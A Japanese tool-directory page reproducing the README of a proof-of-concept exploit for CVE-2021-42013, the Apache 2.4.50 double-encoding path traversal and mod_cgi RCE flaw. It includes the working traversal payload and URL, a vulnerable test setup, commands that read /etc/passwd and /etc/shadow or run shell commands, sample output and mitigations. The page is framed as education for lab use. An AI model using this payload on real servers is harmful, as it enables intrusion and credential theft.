Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-42013 — CVE-2021-42013 の概念実証エクスプロイト。Apache 2.4.50 において、CVE-2021-41773 パッチを二重 URL エンコーディングでバイパスし、パストラバーサルおよびリモートコード実行を実証します。 | Kitploit
ツール/GitHubGitHub/joapath/cve-2021-42013
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubjoapath/cve-2021-42013

CVE-2021-42013

CVE-2021-42013 の概念実証エクスプロイト。Apache 2.4.50 において、CVE-2021-41773 パッチを二重 URL エンコーディングでバイパスし、パストラバーサルおよびリモートコード実行を実証します。

リポジトリを見る
1ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-42013 — PoC: パストラバーサル + RCE(mod_cgi 経由)(パッチ回避)

管理下の自身の環境でのみ使用すること。許可なくシステムに対して使用しないでください。


説明

CVE-2021-42013 を実証するために開発された PoC。この脆弱性は Apache HTTP Server 2.4.50 に存在します。

この CVE は、Apache が CVE-2021-41773 に対して公開したパッチの回避策です。バージョン 2.4.50 は、以前のパストラバーサルを修正するために、.%2e および %2e. というシーケンスを拒否する検証を追加しました。しかし、その検証は不十分でした。ダブル URL エンコーディング によって同じ結果が得られる可能性を考慮しておらず、同じ攻撃面が露出したままになりました。


CVE-2021-41773 との関係

CVE-2021-41773CVE-2021-42013
影響を受けるバージョンApache 2.4.49Apache 2.4.50
使用されるエンコーディング.%2e/%%32%65%%32%65/
メカニズムシングルエンコーディングダブルエンコーディング(パッチ回避)
RCE の可能性あり(mod_cgi 使用時)あり(mod_cgi 使用時)
修正バージョン2.4.50(不完全なパッチ)2.4.51

2.4.50 のパッチが失敗した理由

Apache 2.4.50 のパッチは、ap_normalize_path() にリクエストパス内で文字通り .%2e および %2e. シーケンスを検索する検証を追加しました。見つかった場合、リクエストを 400 または 403 で拒否しました。

問題:この検証は、2 回目の URL デコードパスの前 に文字列に対して実行されました。ペイロードが二重エンコードされている場合、検証は禁止シーケンスを見つけられません。なぜならまだデコードされていないからです。そして、ファイルシステムのパスを解決するために最終的にデコードされたときには、../ がすでに存在し、トラバーサルが発生していました。

root@kitploit:~
ペイロード:          %%32%65%%32%65/
2.4.50 の検索対象: .%2e → 見つからない → 通過
1 回目のデコード:   %%32%65%%32%65/ → %2e%2e/
2 回目のデコード:   %2e%2e/         → ../
結果:        トラバーサル成功

実際の修正は 2.4.51 で行われ、Apache は正規化ロジックを書き換え、セキュリティ検証を適用する前にパスを完全に解決するようにしました。


ダブルエンコーディング — 仕組み

%%32%65 は . の二重エンコード表現です。

root@kitploit:~
.  →  %2e  (標準エンコーディング)
%  →  %25  (% 記号のエンコーディング)
2  →  %32  (文字 '2' のエンコーディング)
e  →  %65  (文字 'e' のエンコーディング)

したがって、% がエンコードされ、16進文字がエンコードされた %2e は %%32%65 になります。

%%32%65 を 1 回デコードすると %2e になります。2 回デコードすると . になります。


必要な条件

条件詳細
Apache のバージョン厳密に 2.4.50
アクセスディレクティブ公開されたディレクトリに Require all granted
CGI モジュールmod_cgi が有効(RCE の場合のみ)

テスト環境

root@kitploit:~
# 脆弱な設定の Apache 2.4.50 イメージ
docker run -d -p 8080:80 --name apache-2450 vulhub/cve-2021-42013

または、Apache 2.4.50 を手動で設定し、httpd.conf に以下の設定を追加:

root@kitploit:~
LoadModule cgi_module modules/mod_cgi.so

<Directory />
    Require all granted
</Directory>

<Directory "/var/www/cgi-bin">
    Options +ExecCGI
    AddHandler cgi-script .cgi .pl .sh
    Require all granted
</Directory>

Alias /traversal /var/www/html

スクリプトの使用方法

root@kitploit:~
python PoC_2021-42013.py --target <URL> --mode <traversal|rce> [--cmd <コマンド>]

引数

例

root@kitploit:~
# /etc/passwd を読む
python PoC_2021-42013.py --target http://localhost:8080 --mode traversal

# id を実行
python PoC_2021-42013.py --target http://localhost:8080 --mode rce --cmd id

# スペースを含むコマンド
python PoC_2021-42013.py --target http://localhost:8080 --mode rce --cmd "cat /etc/shadow"

期待される出力 — traversal モード

root@kitploit:~
============================================================
  CVE-2021-42013 — Apache 2.4.50 Path Traversal + RCE
  Bypass del parche de CVE-2021-41773 via doble encoding
  PoC con fines educativos — Solo en entornos propios
============================================================

[+] Modo: Path Traversal (doble encoding — bypass CVE-2021-41773 patch)
[+] Objetivo: http://localhost:8080
[+] Encoding: %%32%65%%32%65/ → %2e%2e/ → ../
[+] URL construida: http://localhost:8080/traversal/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
[+] Enviando request...

[+] Servidor vulnerable! Status code: 200
[+] Confirmado: Apache 2.4.50 con parche incompleto
=== Contenido de /etc/passwd:

root:x:0:0:root:/root:/bin/bash
...

期待される出力 — rce モード

root@kitploit:~
[+] Modo: RCE via mod_cgi (doble encoding — bypass CVE-2021-41773 patch)
[+] Objetivo: http://localhost:8080
[+] Comando: id
[+] RCE confirmado! (Apache 2.4.50 — parche incompleto)

uid=1(daemon) gid=1(daemon) groups=1(daemon)

緩和策

  • Apache をバージョン 2.4.51 以上にアップデートする。
  • Require all denied をデフォルト値として維持する。
  • 不要な場合は mod_cgi を無効にする。
  • パッチが完全であることをレビューせずに信頼しないこと: 2.4.51 の差分を分析すると、実際の修正には正規化ロジック全体の書き換えが必要であったことがわかります。

参考情報

  • NVD — CVE-2021-42013
  • Apache HTTP Server — セキュリティ勧告
  • Qualys — CVE-2021-41773 & CVE-2021-42013 分析

この PoC は、攻撃的セキュリティポートフォリオのための教育目的で開発されました。

ツールをダウンロード
引数必須説明
--targetはいサーバーのベースURL(例: http://localhost:8080)
--modeはいtraversal でファイル読み取り、rce でコマンド実行
--cmdいいえrce モードで実行するコマンド(デフォルト: id)